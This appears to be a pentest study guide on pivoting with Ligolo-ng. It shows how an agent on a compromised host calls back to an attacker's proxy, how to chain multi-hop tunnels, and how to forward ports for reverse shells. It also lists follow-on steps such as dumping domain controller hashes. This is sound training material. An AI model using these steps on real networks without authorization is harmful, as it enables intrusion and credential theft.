Ligolo-ng
Modern tunneling tool that creates a virtual network interface on your attack box, giving you direct access to internal networks through a compromised host. Replaces the pain of SOCKS proxies and proxychains.
What is it?
Ligolo-ng creates a TUN interface on your attack machine that routes traffic through a compromised host into an internal network. Unlike SOCKS proxies (Chisel + proxychains), Ligolo-ng works at the network layer, your tools think they're directly connected to the internal network.
This matters because:
- No proxychains required: Every tool works natively: Nmap, RDP, SMB, anything. No SOCKS compatibility issues
- No SOCKS speed penalty: Direct TUN interface is significantly faster than proxychains
- Easier multi-hop: Chain through multiple compromised hosts without nested proxy nightmares
| Component | Where it runs | What it does |
|---|---|---|
| Proxy (ligolo-proxy) | Your Kali box | Listens for agent connections, manages tunnels, creates the TUN interface |
| Agent (ligolo-agent) | Compromised host | Connects back to the proxy and routes traffic into the internal network |
Run this first
Three one-time steps on your machine, then an agent on the compromised host connects in.
$ sudo ip tuntap add user $(whoami) mode tun ligolo $ sudo ip link set ligolo up $ ./ligolo-proxy -selfcert # On the compromised host $ ./agent -connect YOUR_KALI_IP:11601 -ignore-cert
ip tuntap add … ligolocreates the virtual interface. Skip this and the tunnel starts but nothing moves through it.
In the proxy, run session to select the agent, then ifconfig inside Ligolo to see the internal subnet, and sudo ip route add SUBNET dev ligolo to send your traffic there. Your normal tools then work directly, no proxychains prefix needed.
What does it do?
Ligolo-ng makes a network that your Kali box can't directly reach accessible as if it were on your local network.
You (10.10.14.5) → can reach Target A (10.10.10.50) → but NOT the internal network (172.16.1.0/24) behind it
You (10.10.14.5) → TUN interface routes 172.16.1.0/24 through Target A → you can directly scan/attack 172.16.1.0/24
When do you use it?
- Compromised host has multiple NICs: Run
ipconfig /allorip a: if you see two different subnets, there's an internal network - Compromised host has routes to other subnets:
route printorip routeshows routes to networks you can't reach - BloodHound shows machines in a different subnet: You need to pivot to reach them
- You found credentials but the target is on an internal network: You need a tunnel to use them
- The exam environment has multiple network segments: CPTS always requires pivoting
How do you use it?
Step 1: Set up the TUN interface on Kali
# Create the TUN interface (only needs to be done once per boot) $ sudo ip tuntap add user $(whoami) mode tun ligolo $ sudo ip link set ligolo up
Step 2: Start the proxy on Kali
# Start ligolo proxy: listens on port 11601 by default $ ./ligolo-proxy -selfcert # -selfcert = use a self-signed TLS cert (fine for pentesting) # The proxy will listen for incoming agent connections
Step 3: Upload and run the agent on the compromised host
REM Upload the agent to the target (via evil-winrm, scp, web server, etc.) REM Then connect back to your Kali proxy C:\> agent.exe -connect YOUR_KALI_IP:11601 -ignore-cert REM Linux target: $ ./agent -connect YOUR_KALI_IP:11601 -ignore-cert
Step 4: Configure the tunnel in the proxy
:: You'll see the agent connect [Agent] Agent joined: YOURUSER@TARGETHOST - 10.10.10.50 <-- agent connected, ready to select as a session :: Select the session ligolo-ng » session :: Pick the agent from the list (usually [0]) :: Check what networks the agent can reach [Agent: TARGETHOST] » ifconfig ┌──────────────────────────────────────────────┐ │ Interface 0 │ ├──────────────────┬───────────────────────────┤ │ Name │ Ethernet0 │ │ IP Address │ 10.10.10.50/24 │ <-- external │ Name │ Ethernet1 │ │ IP Address │ 172.16.1.10/24 │ <-- internal! └──────────────────┴───────────────────────────┘ :: Start the tunnel [Agent: TARGETHOST] » start
Step 5: Add the route on Kali
# Route the internal subnet through the ligolo TUN interface $ sudo ip route add 172.16.1.0/24 dev ligolo # Now you can reach the internal network directly! $ nmap -sC -sV 172.16.1.0/24 $ evil-winrm -i 172.16.1.20 -u admin -p 'Password123!' $ xfreerdp /v:172.16.1.30 /u:admin /p:'Password123!'
Because Ligolo creates a real network route, every tool works natively. No proxychains nmap, no proxychains evil-winrm. Just use the internal IPs directly as if they were on your LAN.
Reverse port forwarding (listeners)
:: Make the internal network reach YOUR Kali box :: Example: forward internal port 1234 to your Kali's port 1234 [Agent: TARGETHOST] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:1234 --tcp :: Use case: you start a listener on Kali:1234 for a reverse shell :: Internal hosts can connect to TARGETHOST:1234, which forwards to your Kali :: Another use case: serve files to internal hosts [Agent: TARGETHOST] » listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080 --tcp :: Start python HTTP server on Kali:8080, internal hosts access via TARGETHOST:8080
Double pivot (multi-hop)
When you compromise a second host in the internal network that has access to yet another network:
# You already have: Kali → Agent1 (172.16.1.10) → internal net 1 # Now Agent1 can reach Host2 (172.16.1.50) which has access to 192.168.1.0/24 # 1. Upload agent to Host2 via the existing tunnel # 2. Set up a listener so Host2 can reach your proxy [Agent: HOST1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp # 3. Run agent on Host2, connecting through Host1 C:\> agent.exe -connect 172.16.1.10:11601 -ignore-cert # 4. In proxy: select the new session and start the tunnel ligolo-ng » session :: Select Host2's session [Agent: HOST2] » start # 5. Add the new route on Kali $ sudo ip route add 192.168.1.0/24 dev ligolo # Done! Kali → Host1 → Host2 → 192.168.1.0/24
What do you do with the tunnel?
Once the tunnel is up, use every tool you know, just point them at the internal IPs:
nmap -sC -sV 172.16.1.0/24: scan the internal networkcrackmapexec smb 172.16.1.0/24: enumerate SMB across internal hostsevil-winrm -i 172.16.1.20: get a shell on an internal hostbloodhound-python -d corp.local -dc 172.16.1.1: collect AD data from internal DCsecretsdump.py corp.local/admin@172.16.1.1: dump hashes from internal DCxfreerdp /v:172.16.1.30: RDP to an internal workstation
Common mistakes
- Forgetting to create the TUN interface:
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up: if you skip this, the tunnel starts but traffic goes nowhere - Forgetting to add the route:
sudo ip route add SUBNET dev ligolo: without this, your Kali doesn't know to send traffic through the tunnel - Wrong subnet in the route: Check
ifconfigin ligolo to see the exact subnet. Use the internal network's subnet, not the external one - Agent can't connect back: Make sure port 11601 is reachable from the target. On HTB, your tun0 IP usually works. Check firewalls
- Using proxychains out of habit: You don't need proxychains with Ligolo. The route handles everything.
proxychains+ Ligolo will actually break things - Not using listeners for reverse shells: Internal hosts can't reach your Kali directly. Use
listener_addto forward a port so reverse shells can connect back through the pivot host
1. Create TUN: sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
2. Start proxy: ./ligolo-proxy -selfcert
3. Run agent on target: ./agent -connect KALI:11601 -ignore-cert
4. In proxy: session → select → start
5. Add route: sudo ip route add INTERNAL_SUBNET dev ligolo
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
You connect the agent but nothing reaches the internal network. What two setup steps are easy to miss?
ip tuntap add) and adding the route for the internal subnet (ip route add). Skipping either leaves the tunnel up but useless.How do you find the exact subnet to route?
ifconfig inside the Ligolo proxy session to see the agent's real interfaces, and use that subnet, not the external one.Do you need proxychains with Ligolo?
Agent cannot connect back. What do you check?
An internal host needs to send you a reverse shell, but it cannot reach your Kali machine directly. What do you use?
listener_add, which forwards a port through the pivot host so the reverse shell can connect back through it.